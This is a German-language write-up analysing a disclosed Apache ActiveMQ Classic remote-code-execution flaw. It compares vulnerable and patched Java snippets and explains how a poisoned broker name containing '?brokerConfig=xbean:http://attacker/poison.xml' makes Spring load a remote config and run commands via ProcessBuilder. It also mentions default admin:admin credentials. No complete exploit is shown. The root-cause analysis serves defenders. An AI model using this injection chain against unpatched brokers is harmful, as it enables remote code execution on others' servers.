
# Pädagogischer Leitfaden und Proof-of-Concept für CVE-2026-41044, eine Apache ActiveMQ RCE, mit Root-Cause-Analyse und Erkennungsskript.
Hinweis: Nur für Bildungszwecke
CVE-2026-41044 wurde am 24. April 2026 offengelegt. Es handelt sich um einen Remote-Code-Execution-Fehler in Apache ActiveMQ Classic, entdeckt von jsjcw, gepatcht in 5.19.6 und 6.2.5. Ich habe ihn nicht gefunden.
Was ich zeigen möchte, ist, wie jemand, der ActiveMQ noch nie angefasst hat, an einem Nachmittag einen funktionierenden Exploit für einen N-Day produzieren kann, weil der gepatchte Code öffentlich ist, der ungepatchte Code öffentlich ist und die Lücke dazwischen nur einen git diff entfernt liegt.
Der Prozess ist einfach:
Was früher Tage dauerte, dauert jetzt einen Nachmittag. KI findet keine Bugs. Sie liest Code und erklärt ihn so schnell, wie man Fragen stellen kann. Der teure Teil bleibt man selbst: zu entscheiden, was tatsächlich ausnutzbar ist, wo die echten Vertrauensgrenzen liegen, was verifiziert werden muss. Das Modell geht nur schneller durch Call-Graphen als jeder Mensch.
Der größere Punkt: Wenn dein Patching-Workflow eine Woche Analysezeit pro CVE annimmt, bist du auf der alten Zeitachse. git diff ist gleich lang, egal ob du Detektion oder Exploits schreibst.
ActiveMQ ist ein Message Broker. Er sitzt in der Mitte und leitet Nachrichten zwischen Anwendungen weiter. Stell ihn dir wie eine Poststelle vor: Apps geben Nachrichten ab, ActiveMQ liefert sie an den richtigen Empfänger. Er ist weit verbreitet in Enterprise-Java-Stacks und stellt eine Web-Konsole sowie eine REST-Management-API namens Jolokia unter /api/jolokia/ bereit. Standard-Anmeldedaten in vielen Bereitstellungen sind immer noch admin:admin.
ActiveMQ erlaubte jedem authentifizierten Benutzer, eine Broker-Konfiguration von einer beliebigen HTTP-URL zu laden, die Spring parsen und sofort als Java-Objekte ausführen würde – einschließlich ProcessBuilder – was dem Angreifer vollständige OS-Befehlsausführung auf dem Broker-Server verschaffte.
localhost./api/jolokia/, die Verwaltungsoperationen als REST-API bereitstellt. Jede gültige Web-Konsolen-Anmeldedaten erreichen sie – nicht nur Admin.vm://-Transport: Der In-Process-Transport, der verwendet wird, wenn ein Client in derselben JVM wie der Broker lebt. Er akzeptiert einen ?brokerConfig=-Query-Parameter, der auf eine Spring-XML-Konfiguration verweist, um einen Broker daraus zu booten.xbean:: Ein URL-Schema, das ActiveMQ anweist, die URL als Spring-XML-Konfiguration zu behandeln und zu laden.init-method: Spring liest XML und erstellt automatisch Java-Objekte (Beans). Das init-method-Attribut weist Spring an, eine Methode auf der Bean in dem Moment aufzurufen, in dem sie erstellt wird – bevor irgendetwas anderes läuft.ProcessBuilder: Eine Standard-Java-Klasse, die OS-Befehle ausführt. ProcessBuilder.start() führt den Befehl aus.DestinationView.sendTextMessage() in 5.19.2 baut eine Broker-Verbindungs-URL, indem der Broker-Name direkt in einen String konkateniert wird:
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
Wenn getBrokerName() localhost?brokerConfig=xbean:http://attacker/poison.xml zurückgibt, wird dieser gesamte String zu einer gültigen vm://-URI mit eingebettetem Query-Parameter. ActiveMQConnectionFactory übergibt ihn an VMTransportFactory, das den brokerConfig-Parameter herauszieht und ihn als Bootstrap-Konfigurations-URL des Brokers verwendet.
Der Fix in 5.19.6 ist eine Zeile:
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();
String wird zu URI – versehentliche Konkatenation ist nicht mehr möglich. Der Wert stammt aus einem vorkonstruierten, unveränderlichen URI-Objekt, das vom tatsächlich registrierten VM-Connector des Brokers abgeleitet wird, nicht von einem veränderlichen Namens-String.
Damit Ebene 1 ausnutzbar ist, muss der Broker-Name zuerst vergiftet werden. BrokerService hat Broker-Namen schon immer bereinigt:
// BrokerService.setBrokerName() - in BEIDEN Versionen vorhanden
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
Dieser Regex entfernt ? und = sauber. Die CVE existierte, weil RegionBroker seinen eigenen separaten Setter hatte, der das nicht tat:
// 5.19.2 - RegionBroker.java
private String brokerName; // veränderlich
public void setBrokerName(String brokerName) {
this.brokerName = brokerName; // überhaupt keine Validierung
}
Das ist ein klassischer Confused Deputy – zwei Setter auf verwandten Klassen, nur einer davon bereinigt. Ein Remote-Peer, der ein manipuliertes BrokerInfo-Paket mit einem vergifteten Namensfeld sendet, erreicht RegionBroker.setBrokerName() direkt und umgeht den Regex von BrokerService vollständig.
Der Fix in 5.19.6 löscht den Setter, macht das Feld final und initialisiert es einmalig aus dem bereits bereinigten Parent:
// 5.19.6 - RegionBroker.java
private final String brokerName; // unveränderlich
public RegionBroker(BrokerService brokerService, ...) {
this.brokerName = Objects.requireNonNull(
brokerService.getBrokerName(), "The broker name cannot be null");
// setBrokerName() ist weg. Es gibt keinen Setter mehr.
}
Man kann einen Sanitizer nicht umgehen, der keinen parallelen Schreiber hat.
VMTransportFactory.doCompositeConnect() ist die Funktion, die die vm://...?brokerConfig=...-URI nimmt, den brokerConfig-Parameter herauszieht und BrokerFactory.createBroker(brokerURI) aufruft. Sie ist der Auslösemechanismus der gesamten Kette.
Apache hat hier exakt nichts geändert.
Diese Entscheidung sagt etwas darüber aus, wie sie über den Fix gedacht haben. VMTransportFactory leistet legitime Arbeit – vm://-Transports sollen tatsächlich Bootstrap-Konfigurationen akzeptieren. Es zu patchen hätte das beabsichtigte Design gebrochen. Stattdessen hat Apache den Bug an der Quelle (Ebene 2: kein vergifteter Name kann geschrieben werden) und an der Senke (Ebene 5: selbst wenn eine vergiftete URL durchkäme, würde der Resource-Resolver sie nicht abrufen) behoben.
Fixe die Ebenen, auf denen Validierung hingehört, nicht die Ebene, über die der Angreifer zufällig hereinkam.
// XBeanBrokerFactory - in beiden Versionen gleich
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri); // Ebene 5
return new ResourceXmlApplicationContext(resource) { ... };
}